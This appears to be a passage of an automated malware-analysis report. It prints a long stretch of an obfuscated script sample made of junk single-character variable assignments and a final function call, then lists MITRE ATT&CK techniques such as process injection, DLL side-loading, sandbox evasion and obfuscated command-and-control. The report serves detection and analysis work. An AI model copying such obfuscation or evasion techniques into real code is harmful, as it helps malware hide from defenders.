486	knowwhfre = "C";
487	knowwhfre = "K";
488	knowwhfre = "C";
489	knowwhfre = "D";
490	knowwhfre = "i";
491	knowwhfre = "K";
492	knowwhfre = "L";
493	knowwhfre = "k";
494	knowwhfre = "H";
495	knowwhfre = "z";
496	knowwhfre = "P";
497	knowwhfre = "v";
498	knowwhfre = "m";
499	aobve = "u";
500	aobve = "q";
501	aobve = "b";
502	aobve = "f";
503	aobve = "2";
504	pwcln = "S";
505	pwcln = "h";
506	pwcln = "v";
507	pwcln = "p";
508	pwcln = "h";
509	pwcln = "h";
510	pwcln = "T";
511	pwcln = "w";
512	pwcln = "t";
513	pwcln = "X";
514	pwcln = "n";
515	pwcln = "D";
516	pwcln = "h";
517	pwcln = "C";
518	pwcln = "Y";
519	pwcln = "E";
520	pwcln = "H";
521	pwcln = "k";
522	pwcln = "u";
523	pwcln = "U";
524	pwcln = "G";
525	pwcln = "O";
526	pwcln = "z";
527	pwcln = "G";
528	pwcln = "V";
529	pwcln = "Q";
530	pwcln = "R";
531	pwcln = "m";
532	pwcln = "l";
533	pwcln = "e";
534	pwcln = "T";
535	pwcln = "c";
536	pwcln = "P";
537	pwcln = "O";
538	pwcln = "h";
539	pwcln = "P";
540	pwcln = "W";
541	tjdhott = "N";
542	tjdhott = "W";
543	tjdhott = "b";
544	tjdhott = "d";
545	tjdhott = "P";
546	tjdhott = "C";
547	tjdhott = "Q";
548	tjdhott = "A";
549	tjdhott = "x";
550	tjdhott = "T";
551	tjdhott = "t";
552	tjdhott = "v";
553	tjdhott = "L";
554	tjdhott = "e";
555	tjdhott = "G";
556	tjdhott = "F";
557	tjdhott = "n";
558	tjdhott = "g";
559	tjdhott = "x";
560	tjdhott = "A";
561	tjdhott = "M";
562	tjdhott = "l";
563	tjdhott = "S";
564	tjdhott = "X";
565	tjdhott = "n";
566	tjdhott = "f";
567	tjdhott = "h";
568	tjdhott = "q";
569	tjdhott = "m";
570	tjdhott = "N";
571	tjdhott = "S";
572	tjdhott = "K";
573	tjdhott = "O";
574	tjdhott = "S";
575	cszznmoxz = "H";
576	cszznmoxz = "v";
577	cszznmoxz = "G";
578	cszznmoxz = "V";
579	cszznmoxz = "B";
580	cszznmoxz = "E";
581	cszznmoxz = "y";
582	cszznmoxz = "g";
583	cszznmoxz = "Q";
584	cszznmoxz = "u";
585	cszznmoxz = "j";
586	cszznmoxz = "t";
587	cszznmoxz = "I";
588	cszznmoxz = "K";
589	cszznmoxz = "r";
590	cszznmoxz = "C";
591	cszznmoxz = "f";
592	cszznmoxz = "O";
593	cszznmoxz = "Q";
594	cszznmoxz = "W";
595	cszznmoxz = "u";
596	cszznmoxz = "b";
597	cszznmoxz = "j";
598	cszznmoxz = "d";
599	cszznmoxz = "x";
600	cszznmoxz = "B";
601	cszznmoxz = "i";
602	cszznmoxz = "u";
603	cszznmoxz = "T";
604	cszznmoxz = "m";
605	cszznmoxz = "T";
606	cszznmoxz = "E";
607	cszznmoxz = "J";
608	cszznmoxz = "X";
609	cszznmoxz = "k";
610	cszznmoxz = "M";
611	cszznmoxz = "y";
612	cszznmoxz = "Z";
613	cszznmoxz = "A";
614	cszznmoxz = "C";
615	cszznmoxz = "l";
616	cszznmoxz = "m";
617	cszznmoxz = "f";
618	cszznmoxz = "o";
619	cszznmoxz = "g";
620	tkgqite = "j";
621	tkgqite = "L";
622	tkgqite = "W";
623	tkgqite = "h";
624	tkgqite = "C";
625	tkgqite = "N";
626	tkgqite = "G";
627	tkgqite = ".";
628	scyty = "Z";
629	scyty = "V";
630	scyty = "K";
631	scyty = "Q";
632	scyty = "X";
633	scyty = "N";
634	scyty = "h";
635	scyty = "a";
636	scyty = "F";
637	scyty = "h";
638	scyty = "M";
639	scyty = "A";
640	scyty = "I";
641	scyty = "d";
642	scyty = "F";
643	jqoecwql = "L";
644	jqoecwql = "H";
645	jqoecwql = "B";
646	jqoecwql = "c";
647	jqoecwql = "m";
648	jqoecwql = "n";
649	jqoecwql = "t";
650	jqoecwql = "S";
651	jqoecwql = "C";
652	jqoecwql = "l";
653	jqoecwql = "M";
654	jqoecwql = "v";
655	jqoecwql = "x";
656	jqoecwql = "f";
657	jqoecwql = "C";
658	jqoecwql = "D";
659	jqoecwql = "T";
660	jqoecwql = "F";
661	jqoecwql = "L";
662	jqoecwql = "H";
663	jqoecwql = "L";
664	jqoecwql = "h";
665	jqoecwql = "k";
666	jqoecwql = "D";
667	jqoecwql = "E";
668	jqoecwql = "X";
669	jqoecwql = "r";
670	jqoecwql = "t";
671	jqoecwql = "b";
672	jqoecwql = "a";
673	jqoecwql = "l";
674	jqoecwql = "p";
675	jqoecwql = "k";
676	jqoecwql = "U";
677	jqoecwql = "e";
678	jqoecwql = "J";
679	jqoecwql = "Y";
680	jqoecwql = "-";
681	sxrjif = "V";
682	sxrjif = "v";
683	sxrjif = "A";
684	sxrjif = "C";
685	sxrjif = "J";
686	sxrjif = "e";
687	sxrjif = "J";
688	sxrjif = "z";
689	sxrjif = "n";
690	sxrjif = "G";
691	sxrjif = "Y";
692	sxrjif = "s";
693	vhlmds = "o";
694	vhlmds = "f";
695	vhlmds = "z";
696	vhlmds = "g";
697	vhlmds = "s";
698	vhlmds = "B";
699	vhlmds = "z";
700	vhlmds = "t";
701	otiia = "C";
702	otiia = "6";
703	zrfqavf = "w";
704	zrfqavf = "p";
705	zrfqavf = "A";
706	zrfqavf = "p";
707	zrfqavf = "U";
708	zrfqavf = "Y";
709	zrfqavf = "R";
710	zrfqavf = "i";
711	zrfqavf = "P";
712	dydtym = "a";
713	dydtym = "C";
714	dydtym = "b";
715	dydtym = "w";
716	dydtym = "d";
717	dydtym = "i";
718	dydtym = "G";
719	dydtym = "G";
720	dydtym = "x";
721	dydtym = "y";
722	dydtym = "S";
723	dydtym = "I";
724	ttychn = "a";
725	ttychn = "I";
726	ttychn = "U";
727	ttychn = "e";
728	ttychn = "D";
729	ttychn = "a";
730	ttychn = "A";
731	ttychn = "l";
732	eychj = "w";
733	xfrogelo = "o";
734	xfrogelo = "f";
735	xfrogelo = "b";
736	xfrogelo = "l";
737	xfrogelo = "G";
738	xfrogelo = "c";
739	xfrogelo = "q";
740	xfrogelo = "y";
741	xfrogelo = "v";
742	xfrogelo = "d";
743	xfrogelo = "n";
744	xfrogelo = "U";
745	xfrogelo = "Z";
746	xfrogelo = "s";
747	xfrogelo = "f";
748	xfrogelo = "p";
749	xfrogelo = "W";
750	xfrogelo = "I";
751	xfrogelo = "x";
752	xfrogelo = "O";
753	xfrogelo = "o";
754	xfrogelo = "K";
755	xfrogelo = "@";
756	iwruepltw = "s";
757	iwruepltw = "G";
758	iwruepltw = "Q";
759	iwruepltw = "u";
760	iwruepltw = "S";
761	iwruepltw = "v";
762	iwruepltw = "J";
763	iwruepltw = "u";
764	iwruepltw = "K";
765	iwruepltw = "g";
766	iwruepltw = "X";
767	iwruepltw = "g";
768	iwruepltw = "n";
769	iwruepltw = "m";
770	iwruepltw = "h";
771	iwruepltw = "J";
772	iwruepltw = "B";
773	iwruepltw = "p";
774	dlyhv = "t";
775	dlyhv = "W";
776	dlyhv = "Z";
777	dlyhv = "s";
778	dlyhv = "D";
779	dlyhv = "r";
780	dlyhv = "u";
781	dlyhv = "C";
782	dlyhv = "c";
783	dlyhv = "f";
784	dlyhv = "U";
785	dlyhv = "C";
786	dlyhv = "u";
787	dlyhv = "E";
788	dlyhv = "A";
789	dlyhv = "L";
790	dlyhv = "O";
791	dlyhv = "W";
792	dlyhv = "F";
793	dlyhv = "8";
794	zuhsymiwj = "E";
795	zuhsymiwj = "n";
796	zuhsymiwj = "t";
797	zuhsymiwj = "e";
798	zuhsymiwj = "i";
799	zuhsymiwj = "i";
800	zuhsymiwj = "j";
801	zuhsymiwj = "X";
802	zuhsymiwj = "A";
803	zuhsymiwj = "B";
804	zuhsymiwj = "J";
805	zuhsymiwj = "e";
806	hgmxfvwb = "O";
807	hgmxfvwb = "r";
808	hgmxfvwb = "H";
809	hgmxfvwb = "t";
810	hgmxfvwb = "Q";
811	hgmxfvwb = "c";
812	hgmxfvwb = "w";
813	hgmxfvwb = "z";
814	hgmxfvwb = "g";
815	hgmxfvwb = "d";
816	hgmxfvwb = "z";
817	hgmxfvwb = "Q";
818	hgmxfvwb = "P";
819	hgmxfvwb = "q";
820	hgmxfvwb = "I";
821	hgmxfvwb = "F";
822	hgmxfvwb = "a";
823	hgmxfvwb = "f";
824	hgmxfvwb = "p";
825	hgmxfvwb = "F";
826	hgmxfvwb = "j";
827	aeaeksfu = "B";
828	aeaeksfu = "g";
829	aeaeksfu = "d";
830	aeaeksfu = "N";
831	aeaeksfu = "q";
832	aeaeksfu = "H";
833	aeaeksfu = "x";
834	aeaeksfu = "I";
835	aeaeksfu = "k";
836	aeaeksfu = "b";
837	aeaeksfu = "W";
838	aeaeksfu = "R";
839	aeaeksfu = "A";
840	aeaeksfu = "g";
841	aeaeksfu = "W";
842	aeaeksfu = "w";
843	aeaeksfu = "n";
844	aeaeksfu = "i";
845	lxvnotpiq = "V";
846	lxvnotpiq = "G";
847	lxvnotpiq = "u";
848	lxvnotpiq = "H";
849	lxvnotpiq = "n";
850	lxvnotpiq = "z";
851	lxvnotpiq = "n";
852	lxvnotpiq = "I";
853	lxvnotpiq = "J";
854	lxvnotpiq = "E";
855	lxvnotpiq = "H";
856	lxvnotpiq = "Q";
857	lxvnotpiq = "i";
858	lxvnotpiq = "W";
859	lxvnotpiq = "a";
860	lxvnotpiq = "T";
861	lxvnotpiq = "W";
862	lxvnotpiq = "N";
863	lxvnotpiq = "S";
864	lxvnotpiq = "x";
865	lxvnotpiq = "c";
866	lxvnotpiq = "b";
867	lxvnotpiq = "D";
868	lxvnotpiq = "Q";
869	lxvnotpiq = "y";
870	lxvnotpiq = "m";
871	lxvnotpiq = "Q";
872	lxvnotpiq = "s";
873	lxvnotpiq = "r";
874	lxvnotpiq = "R";
875	lxvnotpiq = "e";
876	lxvnotpiq = "j";
877	lxvnotpiq = "g";
878	lxvnotpiq = "D";
879	lxvnotpiq = "z";
880	lxvnotpiq = "A";
881	lxvnotpiq = "Z";
882	lxvnotpiq = "z";
883	lxvnotpiq = "c";
884	wnfjqyk = "D";
885	wnfjqyk = "c";
886	wnfjqyk = "Z";
887	wnfjqyk = "d";
888	wnfjqyk = "y";
889	wnfjqyk = "X";
890	wnfjqyk = "u";
891	wnfjqyk = "p";
892	wnfjqyk = "F";
893	wnfjqyk = "E";
894	wnfjqyk = "y";
895	wnfjqyk = "B";
896	wnfjqyk = "v";
897	wnfjqyk = "F";
898	wnfjqyk = "z";
899	wnfjqyk = "j";
900	wnfjqyk = "A";
901	wnfjqyk = "k";
902	wnfjqyk = "I";
903	wnfjqyk = "U";
904	wnfjqyk = "N";
905	wnfjqyk = "p";
906	wnfjqyk = "X";
907	wnfjqyk = "x";
908	wnfjqyk = "W";
909	wnfjqyk = "C";
910	wnfjqyk = "f";
911	wnfjqyk = "Q";
912	wnfjqyk = "d";
913	wnfjqyk = "S";
914	wnfjqyk = "g";
915	wnfjqyk = "Z";
916	wnfjqyk = "p";
917	wnfjqyk = "D";
918	wnfjqyk = "3";
919	doaxnj = "L";
920	doaxnj = "c";
921	doaxnj = "F";
922	doaxnj = "Y";
923	doaxnj = "Y";
924	doaxnj = "P";
925	doaxnj = "I";
926	doaxnj = "D";
927	doaxnj = "Y";
928	doaxnj = "P";
929	doaxnj = "M";
930	doaxnj = "o";
931	doaxnj = "M";
932	doaxnj = "z";
933	doaxnj = "U";
934	doaxnj = "y";
935	doaxnj = "C";
936	doaxnj = "t";
937	doaxnj = "k";
938	doaxnj = "m";
939	doaxnj = "v";
940	doaxnj = "o";
941	doaxnj = "P";
942	doaxnj = "R";
943	joxkkpw = "H";
944	joxkkpw = "N";
945	joxkkpw = "x";
946	joxkkpw = "N";
947	ihxkvjgb = "n";
948	ihxkvjgb = "C";
949	ihxkvjgb = "v";
950	ihxkvjgb = "c";
951	ihxkvjgb = "d";
952	ihxkvjgb = "C";
953	ihxkvjgb = "M";
954	ihxkvjgb = "o";
955	ihxkvjgb = "Q";
956	ihxkvjgb = "l";
957	ihxkvjgb = "V";
958	ihxkvjgb = "C";
959	nanomsa = "g";
960	nanomsa = "M";
961	nanomsa = "N";
962	nanomsa = "Q";
963	nanomsa = "j";
964	nanomsa = "d";
965	nanomsa = "Z";
966	nanomsa = "B";
967	nanomsa = "E";
968	nanomsa = "X";
969	nanomsa = "S";
970	nanomsa = "Y";
971	nanomsa = "H";
972	nanomsa = "E";
973	nanomsa = "f";
974	nanomsa = "x";
975	nanomsa = "q";
976	nanomsa = "t";
977	nanomsa = "o";
978	nanomsa = "u";
979	nanomsa = "w";
980	nanomsa = "D";
981	nanomsa = "p";
982	nanomsa = "A";
983	nanomsa = "r";
984	nanomsa = "m";
985	nanomsa = "t";
986	nanomsa = "G";
987	nanomsa = "q";
988	nanomsa = "U";
989	akwfu = "u";
990	akwfu = "O";
991	akwfu = "x";
992	wbolfsj = "Q";
993	wbolfsj = "t";
994	wbolfsj = "e";
995	wbolfsj = "b";
996	wbolfsj = "x";
997	wbolfsj = "Z";
998	wbolfsj = "d";
999	wbolfsj = "i";
1000	wbolfsj = "r";
1001	wbolfsj = "b";
1002	wbolfsj = "I";
1003	wbolfsj = "G";
1004	wbolfsj = "E";
1005	wbolfsj = "F";
1006	wbolfsj = "q";
1007	wbolfsj = "o";
1008	wbolfsj = "t";
1009	wbolfsj = "W";
1010	wbolfsj = "g";
1011	wbolfsj = "x";
1012	wbolfsj = "V";
1013	wbolfsj = "N";
1014	wbolfsj = "m";
1015	wbolfsj = "t";
1016	wbolfsj = "V";
1017	wbolfsj = "U";
1018	wbolfsj = "w";
1019	wbolfsj = "S";
1020	wbolfsj = "\"";
1021	wvjclcn = "q";
1022	wvjclcn = "a";
1023	wvjclcn = "u";
1024	wvjclcn = "O";
1025	wvjclcn = "L";
1026	wvjclcn = "W";
1027	wvjclcn = "F";
1028	wvjclcn = "K";
1029	wvjclcn = "L";
1030	wvjclcn = "g";
1031	wvjclcn = "R";
1032	wvjclcn = "i";
1033	wvjclcn = "T";
1034	wvjclcn = "H";
1035	cifhd = "d";
1036	cifhd = "L";
1037	cifhd = "p";
1038	cifhd = "Y";
1039	cifhd = "u";
1040	cifhd = "m";
1041	cifhd = "h";
1042	cifhd = "g";
1043	cifhd = "Z";
1044	cifhd = "C";
1045	cifhd = "U";
1046	cifhd = "s";
1047	cifhd = "L";
1048	cifhd = "f";
1049	cifhd = "u";
1050	cifhd = "g";
1051	cifhd = "a";
1052	cifhd = "h";
1053	cifhd = "L";
1054	cifhd = "w";
1055	cifhd = "L";
1056	cifhd = "t";
1057	cifhd = "c";
1058	cifhd = "g";
1059	cifhd = "4";
1060	fyyxjoha = "t";
1061	fyyxjoha = "Y";
1062	fyyxjoha = "I";
1063	fyyxjoha = "a";
1064	fyyxjoha = "T";
1065	fyyxjoha = "a";
1066	fyyxjoha = "F";
1067	fyyxjoha = "N";
1068	fyyxjoha = "X";
1069	fyyxjoha = "U";
1070	fyyxjoha = "q";
1071	fyyxjoha = "n";
1072	fyyxjoha = "Z";
1073	fyyxjoha = "p";
1074	fyyxjoha = "Z";
1075	fyyxjoha = "U";
1076	fyyxjoha = "z";
1077	fyyxjoha = "O";
1078	fyyxjoha = "C";
1079	fyyxjoha = "q";
1080	fyyxjoha = "N";
1081	fyyxjoha = "U";
1082	fyyxjoha = "D";
1083	fyyxjoha = "t";
1084	fyyxjoha = "p";
1085	fyyxjoha = "J";
1086	fyyxjoha = "l";
1087	fyyxjoha = "o";
1088	fyyxjoha = "Z";
1089	fyyxjoha = "w";
1090	fyyxjoha = "G";
1091	fyyxjoha = "q";
1092	fyyxjoha = "m";
1093	fyyxjoha = "u";
1094	fyyxjoha = "Q";
1095	fyyxjoha = "M";
1096	fyyxjoha = "o";
1097	fyyxjoha = "W";
1098	fyyxjoha = "T";
1099	fyyxjoha = "b";
1100	fyyxjoha = "p";
1101	fyyxjoha = "f";
1102	khvea = "z";
1103	khvea = "B";
1104	khvea = "C";
1105	khvea = "A";
1106	khvea = "N";
1107	khvea = "v";
1108	khvea = "e";
1109	khvea = "f";
1110	khvea = "V";
1111	khvea = "W";
1112	khvea = "t";
1113	khvea = "V";
1114	khvea = "z";
1115	khvea = "n";
1116	khvea = "y";
1117	khvea = "t";
1118	khvea = "B";
1119	khvea = "F";
1120	khvea = "r";
1121	khvea = "G";
1122	khvea = "Q";
1123	khvea = "m";
1124	khvea = "Q";
1125	khvea = "f";
1126	khvea = "z";
1127	khvea = "Q";
1128	khvea = "R";
1129	khvea = "\\";
1130	toowlagf = "A";
1131	toowlagf = "g";
1132	toowlagf = "e";
1133	toowlagf = "D";
1134	toowlagf = "V";
1135	toowlagf = "n";
1136	toowlagf = "Z";
1137	toowlagf = "h";
1138	toowlagf = "j";
1139	toowlagf = "k";
1140	toowlagf = "u";
1141	toowlagf = "A";
1142	toowlagf = "C";
1143	toowlagf = "g";
1144	toowlagf = "A";
1145	toowlagf = "y";
1146	toowlagf = "O";
1147	toowlagf = "9";
1148	klshap = "T";
1149	klshap = "G";
1150	klshap = "k";
1151	klshap = "h";
1152	klshap = "W";
1153	klshap = "b";
1154	klshap = "O";
1155	klshap = "A";
1156	klshap = "s";
1157	klshap = "U";
1158	klshap = "e";
1159	klshap = "M";
1160	klshap = "V";
1161	klshap = "A";
1162	klshap = "w";
1163	klshap = "j";
1164	klshap = "p";
1165	klshap = "B";
1166	klshap = "n";
1167	klshap = "v";
1168	klshap = "b";
1169	klshap = "o";
1170	klshap = "y";
1171	klshap = "T";
1172	klshap = "P";
1173	klshap = "k";
1174	klshap = "e";
1175	klshap = "P";
1176	klshap = "u";
1177	klshap = "m";
1178	klshap = "S";
1179	klshap = "Y";
1180	klshap = "K";
1181	klshap = "Q";
1182	klshap = "z";
1183	klshap = "v";
1184	klshap = "q";
1185	klshap = "o";
1186	klshap = "u";
1187	klshap = "k";
1188	klshap = "U";
1189	klshap = "s";
1190	klshap = "%";
1191	nwxqkt = "u";
1192	nwxqkt = "e";
1193	nwxqkt = "x";
1194	nwxqkt = "O";
1195	nwxqkt = "P";
1196	nwxqkt = "T";
1197	nwxqkt = "n";
1198	nwxqkt = "b";
1199	nwxqkt = "R";
1200	nwxqkt = "B";
1201	nwxqkt = "K";
1202	nwxqkt = "B";
1203	nwxqkt = "I";
1204	nwxqkt = "C";
1205	nwxqkt = "W";
1206	nwxqkt = "p";
1207	nwxqkt = "O";
1208	nwxqkt = "u";
1209	nwxqkt = "Q";
1210	nwxqkt = "h";
1211	nwxqkt = "G";
1212	nwxqkt = "W";
1213	nwxqkt = "d";
1214	nwxqkt = "S";
1215	nwxqkt = "H";
1216	nwxqkt = "k";
1217	nwxqkt = "l";
1218	nwxqkt = "K";
1219	nwxqkt = "H";
1220	nwxqkt = "T";
1221	nwxqkt = "c";
1222	nwxqkt = "f";
1223	nwxqkt = "E";
1224	vdvjdvw = "j";
1225	vdvjdvw = "A";
1226	vdvjdvw = "q";
1227	vdvjdvw = "n";
1228	vdvjdvw = "Q";
1229	vdvjdvw = "z";
1230	vdvjdvw = "l";
1231	vdvjdvw = "n";
1232	vdvjdvw = "F";
1233	vdvjdvw = "W";
1234	vdvjdvw = "q";
1235	vdvjdvw = "c";
1236	vdvjdvw = "L";
1237	vdvjdvw = "I";
1238	vdvjdvw = "e";
1239	vdvjdvw = "Y";
1240	vdvjdvw = "b";
1241	vdvjdvw = "m";
1242	vdvjdvw = "S";
1243	vdvjdvw = "s";
1244	vdvjdvw = "B";
1245	vdvjdvw = "k";
1246	vdvjdvw = "O";
1247	vdvjdvw = "v";
1248	vdvjdvw = "b";
1249	vdvjdvw = "Y";
1250	vdvjdvw = "N";
1251	vdvjdvw = "P";
1252	vdvjdvw = "U";
1253	vdvjdvw = "E";
1254	vdvjdvw = "g";
1255	vdvjdvw = "C";
1256	vdvjdvw = " ";
1257	gyvzscc = "o";
1258	gyvzscc = "t";
1259	gyvzscc = "V";
1260	gyvzscc = "P";
1261	gyvzscc = "t";
1262	gyvzscc = "K";
1263	gyvzscc = "T";
1264	gyvzscc = "T";
1265	gyvzscc = "O";
1266	fkgtvohpu = "H";
1267	fkgtvohpu = "D";
1268	fkgtvohpu = "n";
1269	fkgtvohpu = "a";
1270	fkgtvohpu = "y";
1271	fkgtvohpu = "Z";
1272	fkgtvohpu = "S";
1273	fkgtvohpu = "R";
1274	fkgtvohpu = "G";
1275	fkgtvohpu = "m";
1276	fkgtvohpu = "X";
1277	fkgtvohpu = "m";
1278	fkgtvohpu = "b";
1279	fkgtvohpu = "b";
1280	fkgtvohpu = "0";
1281	vskxsgjkk = "w";
1282	vskxsgjkk = "D";
1283	vskxsgjkk = "K";
1284	vskxsgjkk = "t";
1285	vskxsgjkk = "U";
1286	vskxsgjkk = "Z";
1287	vskxsgjkk = "J";
1288	vskxsgjkk = "Q";
1289	vskxsgjkk = "D";
1290	vskxsgjkk = "d";
1291	vskxsgjkk = "u";
1292	ujflxr = "D";
1293	ujflxr = "s";
1294	ujflxr = "A";
1295	ujflxr = "q";
1296	ujflxr = "W";
1297	ujflxr = "e";
1298	ujflxr = "B";
1299	ujflxr = "H";
1300	ujflxr = "z";
1301	ujflxr = "e";
1302	ujflxr = "M";
1303	ujflxr = "i";
1304	ujflxr = "L";
1305	ujflxr = "l";
1306	ujflxr = "t";
1307	ujflxr = "C";
1308	ujflxr = "y";
1309	ujflxr = "q";
1310	ujflxr = "f";
1311	ujflxr = "Q";
1312	ujflxr = "z";
1313	ujflxr = "Z";
1314	ujflxr = "k";
1315	ujflxr = "I";
1316	ujflxr = "b";
1317	ujflxr = "7";
1318	ygtuj ( );	ygtuj() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
